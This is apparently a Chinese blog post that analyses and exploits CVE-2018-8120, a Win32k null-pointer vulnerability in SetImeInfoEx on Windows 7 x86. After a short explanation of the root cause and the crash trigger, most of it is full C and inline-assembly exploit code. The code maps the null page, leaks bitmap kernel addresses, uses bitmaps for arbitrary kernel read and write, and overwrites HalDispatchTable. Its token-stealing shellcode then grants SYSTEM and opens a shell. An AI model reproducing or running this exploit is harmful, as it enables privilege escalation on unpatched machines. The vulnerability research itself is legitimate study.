zoukankan      html  css  js  c++  java
  • CVE-2018-8120

    1、前言


    借着这次来成都轮岗的机会跟tp老哥好好学习一下漏洞,这个cve-2018-8120准备从头到尾好好调试一下。

    2、实验环境


    • windows7 x86 sp1
    • Windbg
    • IDA
    • ProcessHacker

    3、漏洞成因


    Win32k!SetImeInfoEx中在使用Win32k!TagWindowStation对象中的spklList成员时并没有进行判断。

     通过交叉引用发现NtUserSetImeInfoEx调用了这个函数。

      由于我们通过CreateWindowStationWin32k!TagWindowStation.spklList默认为0,因此我们使用SetProcessWindowStation将我们创建的Win32k!TagWindowStation对象绑定到当前程序窗口,在通过手动调用NtSetUserImeInfoEx,就会造成0地址访问而蓝屏。

    4、实验


    通过PCHunter找到NtSetUserImeInfoEx的序号然后根据不同版本系统构造不同的系统调用(通过OD观察)。

     

    知道序号和系统调用方式后编写代码触发漏洞。

    成功触发蓝屏

    5、利用


      由于在Win7中我们可以通过NtAllocateVirtualMemory申请到0地址的空间,所以我们就有了控制SetImeInfoEx中a1的能力,其中参数a2则是我们传给NtUserSetImeInfoEx的数组。因此我们就能利用SetImeInfoEx中memcpy来进行任意地址写,但由于memcpy写的长度固定不可控,因此直接覆盖HalDispatchTable会造成其他相邻数据被破坏。这里利用BitMap内核读写(不要问我怎么知道的,问就是跟大佬学的)。

    • 0地址页面利用NtAllocateVirtualMemory
    1 PVOID baseAddress = 0x100;
    2 PVOID RegionSize = 0x1000;
    3 _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
    4 ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
    5 ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    • HalDispatchTable利用ZwQuerySystemInformation找到内核模块后加载查导出表
     1     DWORD SysModuleSize;
     2     PVOID NtKernelAddr;
     3     PVOID NtKernelAddr_InUser;
     4     PVOID HalDispatchTable;
     5     char* ImageName;
     6     char NtKernelImageName[256] = {0};
     7     PSYSTEM_MODULE_INFORMATION SysModule;
     8     _ZwQuerySystemInformation ZwQuerySystemInformation;
     9     
    10     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
    11     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
    12     SysModule = malloc(SysModuleSize);
    13     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
    14 
    15     NtKernelAddr = SysModule->Module[0].Base;
    16     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
    17     ImageName = strrchr(NtKernelImageName, '\') + 1;
    18     NtKernelAddr_InUser = LoadLibrary(ImageName);
    19     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
    20     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
    • BitMap内核对象泄露

      从网上的资料来看,我们在用户层调用CreateBitMap后返回的句柄低两字节是一个指向GdiCell结构的索引,而这个结构指针保存在PEB.GdiSharedHandleTable。

    1 typedef struct _GdiCell
    2 {
    3     PVOID pKernelAddress;
    4     UINT16 wProcessIdl;
    5     UINT16 wCount;
    6     UINT16 wUpper;
    7     UINT16 uType;
    8     PVOID pUserAddress;
    9 }GdiCell,*pGdiCell;

      在分析SetBitMapBits时,在NtGdiSetBitMapBits里面找到了将句柄转换为内核对象的代码。发现这个计算方法和网上公开的一样,我们有理由怀疑这个GdiSharedHandleTable_InKernel和PEB.GdiSharedHandleTable是同一个数组。经过在WIndbg中进行验证(如下图)的确为同一个数组,经Windbg验证是同一物理页面在用户空间也映射了一份。

     

    结合ReactOS和网上的资料可以看到SetBitMapBits和GetBitMapBits是操作的SURFOBJ中的pvScan0成员。

      但是由于漏洞中的memcpy大小不可控,所以回覆盖一部分的SURFOBJ成员,所以我们需要修复某些在Set/GetBitMapBits时所必须的成员(需要修复的值是可以在bDoGetSetBitmapBits中分析得出,这里我直接抄的别人的...)。

     

    • 完整代码
      1 #include<stdio.h>
      2 #include<windows.h>
      3 
      4 
      5 int syscall_index = 0x1226;
      6 #define PEB_GdiSharedHandleTable 0x94  //win7 x86 sp1
      7 
      8 typedef struct _GdiCell
      9 {
     10     PVOID pKernelAddress;
     11     UINT16 wProcessIdl;
     12     UINT16 wCount;
     13     UINT16 wUpper;
     14     UINT16 uType;
     15     PVOID pUserAddress;
     16 }GdiCell,*pGdiCell;
     17 
     18 typedef NTSTATUS  (__stdcall *_ZwAllocateVirtualMemory)(
     19     _In_    HANDLE    ProcessHandle,
     20     _Inout_ PVOID* BaseAddress,
     21     _In_    ULONG_PTR ZeroBits,
     22     _Inout_ PSIZE_T   RegionSize,
     23     _In_    ULONG     AllocationType,
     24     _In_    ULONG     Protect
     25 );
     26 
     27 typedef NTSTATUS (__stdcall*_ZwQuerySystemInformation)(
     28     _In_      DWORD SystemInformationClass,
     29     _Inout_   PVOID                    SystemInformation,
     30     _In_      ULONG                    SystemInformationLength,
     31     _Out_opt_ PULONG                   ReturnLength
     32 );
     33 
     34 
     35 typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(IN ULONG   ProfileSource,
     36     OUT PULONG Interval);
     37 
     38 
     39 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     40     HANDLE Section;
     41     PVOID MappedBase;
     42     PVOID Base;
     43     ULONG Size;
     44     ULONG Flags;
     45     USHORT LoadOrderIndex;
     46     USHORT InitOrderIndex;
     47     USHORT LoadCount;
     48     USHORT PathLength;
     49     CHAR ImageName[256];
     50 } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
     51 
     52 typedef struct _SYSTEM_MODULE_INFORMATION {
     53     ULONG Count;
     54     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
     55 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
     56 
     57 
     58 
     59 void __declspec(naked) NtSetUserImeEx(int a)
     60 {
     61     __asm
     62     {
     63         mov esi,a
     64         mov eax,syscall_index
     65         mov edx,0x7ffe0300
     66         call dword ptr[edx]
     67         ret 4
     68     }
     69 }
     70 
     71 void __declspec(naked) GetSystemToken()
     72 {
     73     __asm
     74     {
     75         pushad
     76         mov eax,fs:[0x124]  //CurrentThread
     77         mov eax,[eax+0x150] //Process  
     78         lea edx,[eax+0xf8]  //MyProcess.Token
     79 noFind:
     80         mov eax,[eax+0xb8]  //Eprocess.ActiveProcessLinks
     81         sub eax,0xb8        //next Eprocess struct
     82         mov ebx,[eax+0xb4]  //PID
     83         cmp ebx,4
     84         jnz noFind
     85         mov eax,[eax+0xf8]    //System.Token
     86         mov [edx],eax
     87         lock inc [eax]
     88         lock inc[eax]
     89         popad
     90         ret
     91     }
     92 }
     93 
     94 
     95 int main(int argc,char** argv)
     96 {
     97 
     98 //泄露内核对象地址
     99     DWORD Manage_kernel, Worker_kernel, bitMapKernelAddress;
    100     HBITMAP hManage;
    101     HBITMAP hWorker;
    102 
    103     hManage = CreateBitmap(5, 5, 5, 5, NULL);
    104     hWorker = CreateBitmap(5, 5, 5, 5, NULL);
    105     __asm
    106     {
    107         mov eax,fs:[0x30]
    108         mov eax,[eax+ PEB_GdiSharedHandleTable]
    109         mov bitMapKernelAddress,eax
    110     }
    111     Manage_kernel = *(DWORD*)(((DWORD)hManage & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress); 
    112     Worker_kernel = *(DWORD*)(((DWORD)hWorker & 0xffff) * sizeof(GdiCell) + bitMapKernelAddress);
    113 
    114     
    115 
    116 //获取HalDispatchTable表地址
    117     DWORD SysModuleSize;
    118     PVOID NtKernelAddr;
    119     PVOID NtKernelAddr_InUser;
    120     PVOID HalDispatchTable;
    121     char* ImageName;
    122     char NtKernelImageName[256] = {0};
    123     PSYSTEM_MODULE_INFORMATION SysModule;
    124     _ZwQuerySystemInformation ZwQuerySystemInformation;
    125     
    126     ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
    127     ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize);
    128     SysModule = malloc(SysModuleSize);
    129     ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize);
    130 
    131     NtKernelAddr = SysModule->Module[0].Base;
    132     strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName);
    133     ImageName = strrchr(NtKernelImageName, '\') + 1;
    134     NtKernelAddr_InUser = LoadLibrary(ImageName);
    135     HalDispatchTable = GetProcAddress(NtKernelAddr_InUser, "HalDispatchTable");
    136     HalDispatchTable = (PVOID)((DWORD)HalDispatchTable - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr);
    137     (DWORD)HalDispatchTable += 4;
    138 
    139 //申请0地址内存并构造SURFOBJ,使Manage.pvScan0 = &Worker.pvScan0
    140     DWORD* p = NULL;
    141     PVOID baseAddress = 0x100;
    142     PVOID RegionSize = 0x1000;
    143     _ZwAllocateVirtualMemory ZwAllocateVirtualMemory = 0;
    144     ZwAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwAllocateVirtualMemory");
    145     ZwAllocateVirtualMemory(GetCurrentProcess(), &baseAddress, NULL, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    146     
    147 
    148     DWORD ime[0x57] = {0x90};
    149     HWINSTA hsta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    150     SetProcessWindowStation(hsta);
    151 
    152     *(p + 5) = (Worker_kernel + 0x10 + 0x20);  //sizeof(SURFACE.BASEOBJECT) = 0x10
    153                                                //offset(SURFOBJ.pvScan0) = 0x20
    154     ime[0] = (Worker_kernel + 0x10 + 0x20);    //while ( p[5] != *ime )
    155 
    156     *(p + 0xb) = (Manage_kernel + 0x10 + 0x20);   //v4 = (_DWORD *)p[0xB];
    157                         //if (!v4)
    158                         //    return 0;
    159     //fix some member what Set/GetBitMapBits use
    160 
    161     DWORD* pp = (DWORD*)& ime[1];                //以下是要修复的一些成员
    162     pp[0] = 0x180;
    163     pp[1] = 0xabcd;
    164     pp[2] = 6;
    165     pp[3] = 0x10000;
    166     pp[5] = 0x4800200;
    167 
    168 
    169 
    170 //触发漏洞
    171     NtSetUserImeEx(&ime);
    172 
    173     DWORD oldHalDispatchTable;
    174     PVOID ShellCode= GetSystemToken;
    175     SetBitmapBits(hManage, 4, &HalDispatchTable);
    176     GetBitmapBits(hWorker, 4, &oldHalDispatchTable);
    177     SetBitmapBits(hWorker, 4, &ShellCode);
    178 
    179     _NtQueryIntervalProfile NtQueryIntervalProfile;
    180     ULONG Interval = 0;
    181     NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
    182     NtQueryIntervalProfile(0x1337, &Interval);
    183     SetBitmapBits(hWorker, 4, &oldHalDispatchTable);
    184 
    185     system("cmd");
    186 
    187     return 0;
    188 }
    • 效果截图

     6、参考资料


    1 https://www.cnblogs.com/amaza/p/9557838.html#bitmap-gdi%E5%87%BD%E6%95%B0%E5%AE%9E%E7%8E%B0%E5%86%85%E6%A0%B8%E4%BB%BB%E6%84%8F%E5%9C%B0%E5%9D%80%E8%AF%BB%E5%86%99
    2 https://www.freebuf.com/column/173797.html
    3 https://bbs.pediy.com/thread-225436.htm

    利用代码: <https://github.com/DreamoneOnly/CVE-2018-8120/tree/master>

  • 相关阅读:
    重写Django登录认证,实现用户名或者手机均可登录
    Django media文件夹详解
    Django admin使用
    python极验验证部署
    django 分页
    模板语言控制往哪个地址提交时,如果不填,默认往当前地址提交,也可以用request方法获取当前地址提交
    HashMap、Hashtable、LinkedHashMap、TreeMap、ConcurrentHashMap的区别
    ArrayList、LinkedList、Vector、CopyOnWriteArrayList的区别和源码分析
    谈谈线程池的核心参数,描述核心流程、应该怎么正确使用
    深入CAS的底层实现机制,以及对应的使用风险
  • 原文地址:https://www.cnblogs.com/DreamoneOnly/p/11444172.html
Copyright © 2011-2022 走看看